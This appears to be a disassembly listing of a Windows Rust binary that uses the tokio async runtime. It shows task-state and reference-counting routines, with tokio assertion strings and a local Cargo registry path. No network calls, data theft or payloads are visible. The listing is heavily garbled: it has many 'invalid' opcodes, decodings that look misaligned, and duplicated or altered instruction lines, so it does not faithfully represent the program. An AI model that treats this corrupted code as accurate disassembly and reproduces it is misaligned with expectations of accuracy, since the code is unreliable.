add dword [rax], eax
add bl, ch
add ecx, dword [rdi]
push rdi
test byte [rax - 0x77], 0xf9
mov qword [rax + 0x100], rcx
jmp 0x1400866ae
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068f70
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 0
invalid
dec dword [rax - 0x39]
xor byte [rbx], r9b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rbx + 0x118c4005], cl
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140086731
cmp eax, 1
je 0x140086717
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
invalid
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call 0x140080c50
movaps xmm6, xmmword [rsp + 0x90]
add byte [rax], al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
add esp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068f70
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140086b40
cmp eax, 1
je 0x140086b26
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140086bd7
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140086bb2
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140086b73
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007dde0
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x140086b92
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
je 0x140086d45
and byte [rax - 0x7d], cl
invalid
xor byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
je 0x140086d45
and byte [rax - 0x7d], cl
invalid
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140086d69
xorps xmm6, xmm6
cmp eax, 1
je 0x140086d96
jmp 0x140086dc2
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
popfq
test dword [rcx], edx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068f70
and esi, edi
dec dword [rax - 0x39]
xor byte [rax + r8], r9b
add byte [rax], al
and esi, edi
dec dword [rax - 0x39]
xor byte [rax + r8], r9b
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x140086e59
cmp eax, 1
je 0x140086e27
mov eax, dword [0x14019f30c]
add eax, 0x11850c
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x140086e60
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
pop rsi
sub byte [rdi], cl
push rdi
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.140068f70
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 1
cmp byte [rcx], al
add byte [rax], al
add byte [rax], al
invalid
cmp byte [rcx], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x40], 0
add byte [rax], al
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
mov eax, dword [0x14019f30c]
test byte [rcx], dl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
test byte [rcx], dl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
ror dword [rdi], 0xb6
sub byte [rax], 1
add byte [rax], al
cmp eax, 2
je 0x140086eef
cmp eax, 1
je 0x140086ed5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
movabs al, byte [0xc600066152e80007]
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
movabs al, byte [0xc600066152e80007]
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
xor dword [rcx + rdx - 0x74b79b00], eax
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x140080c50
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
adc dword [rsi], ecx
add byte [rdx + 0x27], bh
adc dword [rsi], ecx
add byte [rdx + 0x27], bh
call fcn.140122660
int3
sub rsp, 0xa0
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x140086f59
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xe1
loope 0x140086f3f
mov rcx, rax
and rcx, 0xfffffffffffffff8
loope 0x140086f3f
loope 0x140086f3f
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
mov cl, 0xe
je 0x140086f84
test al, 4
je 0x1400875de
test al, 3
je 0x140086f40
cmp rax, 0x3f
jbe 0x1400875f6
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140086f59
movzx eax, dl
lea rcx, [0x1401943bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14016a168]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rax - 0x77], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x77], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
cmp dword [rsi + 0x30], 3
jae 0x14008763e
sub dword [rbx + 6], 0
invalid
sub dword [rbx + 6], 0
add byte [rax - 0x73], cl
jle 0x140087007
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400871af
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140087031
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x1400871b2
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400870e5
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x1400870b7
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0x100
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0x100
jmp 0x1400870e8
xorps xmm6, xmm6
test byte [rax - 0x73], 0x7e
xor byte [rax - 0x77], cl
lea rdi, [rsi + 0x30]
mov rcx, rdi
stc
stc
call fcn.140068bf0
mov qword [rsi + 0x30], 4
add byte [rbx + 0x11820a05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbx + 0x11820a05], cl
add byte [rbp + 0x48], ah
or al, byte [rdx + 0x48650011]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008717f
cmp eax, 1
je 0x14008714d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
sbb al, 0xc1
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
add eax, 0x1181b9
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x140087186
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068bf0
mov qword [rsi + 0x30], 3
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
add byte [rax], al
invalid
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
push rax
mov qword [rsi + 0x50], rbx
jmp 0x1400874c6
add byte [rdi], cl
push rdi
test byte [rax - 0x73], 0x5c
lea ebx, [rsp + 0x60]
xorps xmm6, xmm6
lea rbx, [rsp + 0x60]
lea ebx, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbx
call fcn.140068560
mov ecx, dword [0x14019f30c]
or eax, 0x118144
or eax, 0x118144
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
or al, 0xca
movzx ecx, byte [rcx + 0x128]
add byte [rax], al
cmp ecx, 2
je 0x140087234
cmp ecx, 1
je 0x140087218
add dword [rdx + rsi - 0x77], esi
invalid
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
pop rsi
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rax], al
invalid
mov eax, ebp
pop rsi
invalid
add byte [rax], al
add dword [rcx - 0x11f27418], ecx
out dx, al
mov ecx, dword [0x14019f30c]
out dx, al
adc byte [rcx], 0
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
invalid
retf 0x110f
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
test al, al
je 0x1400873a9
invalid
add byte [rbp + rcx*4 + 0x76], cl
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x30]
nop dword [rax + rax]
invalid
and byte [rax - 0x75], cl
invalid
add byte [rax - 0x497bf0ff], ch
add eax, dword [rax]
add byte [rax], al
test al, 0x20
jne 0x140087290
mov rdx, rax
test al, 1
je 0x14008760e
add byte [rax], al
add byte [rax], al
test al, 0x20
jne 0x140087290
mov rdx, rax
and rdx, 0xffffffffffffffde
test al, 4
jne 0x1400872b0
cmp rax, 0x3f
jbe 0x1400875f6
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
add r8b, r8b
shr bl, 0x3e
shr bl, 0x3e
nop word cs:[rax + rax]
invalid
add byte [rcx - 0x50], al
add ecx, dword [rcx - 0x77]
leave
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
invalid
je case.default.0x1400872f8
add dword [rsp + rsi - 0x15], esi
nop word cs:[rax + rax]
jmp 0x1400872e6
test rax, rax
test eax, eax
js 0x140087626
add rdx, 0x40
mov r8b, 1
ret 0x4140
mov qword [rsp + 0x30], 1
mov dword [rsp + 0x30], 1
add byte [rax], al
mov r9, rbx
mov ecx, ebx
invalid
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
jne 0x1400872e6
invalid
adc byte [rax - 0x75], cl
push rsp
and al, 0x60
mov rdx, qword [rsp + 0x60]
lock cmpxchg qword [rsi], rdx
jne 0x140087250
invalid
inc dword [rcx + 0xf]
mov dh, 0xc0
movzx eax, r8b
lea rcx, [0x1401943cc]
lea ecx, [0x1401943cc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsi + 0x20]
add rax, 0x10
add eax, 0x10
mov byte [rsp + 0x60], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
call fcn.1401034c0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
xadd qword [rsi], rax
xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
cmp rax, 0x3f
jbe 0x140087676
and rax, 0xffffffffffffffc0
loopne 0x1400872ff
cmp rax, 0x40
jne 0x140087539
mov rax, qword [r14]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x14008735a
mov rcx, r14
mov ecx, esi
call fcn.1400caa30
mov rcx, rdi
jmp 0x140087376
call fcn.1400caa30
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
call fcn.140068bf0
mov rax, qword [rsi + 0x2e0]
xchg al, ah
add al, byte [rax]
add byte [rax - 0x7b], cl
test eax, eax
xchg al, ah
add al, byte [rax]
add byte [rax - 0x7b], cl
test eax, eax
je 0x140087391
invalid
invalid
mov gs, eax
add al, byte [rax]
test eax, eax
je 0x140087391
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
sar bh, cl
adc eax, 0xa809c
invalid
sar bh, cl
adc eax, 0xa809c
invalid
add cl, ch
nop
add dword [rax], eax
add byte [rax + 0x687402f9], al
invalid
jmp 0x140087539
cmp cl, 2
je 0x140087416
invalid
push 0x285e8b48
mov rbx, qword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x1400873e8
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
jg 0x1400873d0
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0x117f1e05], ecx
jg 0x1400873fe
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
jg 0x1400873fe
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rax + 0xf8], 1
mov al, 0xf8
clc
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp case.0x14006b64f.72
add ecx, dword [rdi]
push rdi
test byte [rax - 0x77], 0xf9
mov rcx, rdi
xorps xmm6, xmm6
mov rcx, rdi
stc
call fcn.140068bf0
mov qword [rdi], 4
mov eax, dword [0x14019f30c]
add eax, 0x117ede
add eax, 0x117ede
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je case.0x14007aa37.44
cmp eax, 1
je case.0x14006b166.50
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
add ebx, dword [rbx - 0x5117fff9]
pop rbx
invalid
add dh, al
sub dword [rax], 1
add byte [rax], al
invalid
add ebx, dword [rbx - 0x5117fff9]
pop rbx
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
sub byte [rax - 0x39], r9b
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
sub byte [rax - 0x39], r9b
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rcx
add byte [rcx], al
add byte [rax], al
jmp 0x1400874ae
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068bf0
mov qword [rsi + 0x30], 3
mov qword [rsi + 0x38], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140087531
cmp eax, 1
je 0x140087517
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
adc byte [rbx + 6], bl
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
out dx, eax
jge 0x14008752d
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
clc
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call 0x140080960
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
add byte [rdx + 0x27], bh
add byte [rdx + 0x27], bh
call fcn.140122660
int3
nop dword [rax + rax]
test al, 8
je 0x1400878ef
test al, 2
jne 0x14008776f
mov rcx, rax
and rcx, 0xfffffffffffffff5
lock cmpxchg qword [rsi], rcx
jne 0x140087750
jmp 0x140087870
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14008779b
xorps xmm6, xmm6
cmp eax, 1
je 0x1400877c8
jmp 0x1400877f4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov qword [rsi + 0x30], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140087870
cmp eax, 1
je 0x140087856
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140087907
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400878e2
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400878a3
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x1400878c2
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x140167fe8]
mov edx, 0x2b
call fcn.140122660
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
rol dword [rbx], 0xf
xchg esp, eax
ret 0x948
dec qword [rax]
jne 0x140087a21
lea rcx, [rsi + 0x20]
call fcn.1400caa30
and al, ch
wrmsr
add al, 0
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov rax, qword [rsi + 0x2e0]
mov eax, dword [rsi + 0x2e0]
mov eax, dword [rsi + 0x2e0]
add byte [rax], al
test rax, rax
je 0x140087a40
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
invalid
push rbp
invalid
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x11784005], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x10
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
ror dword [rdi], 0x10
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068bf0
dec dword [rax - 0x39]
xor byte [rax + r8], r8b
add byte [rax], al
dec dword [rax - 0x39]
xor byte [rax + r8], r8b
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je case.0x14005714b.132
cmp eax, 1
je 0x140087b57
mov eax, dword [0x14019f30c]
add eax, 0x1177dc
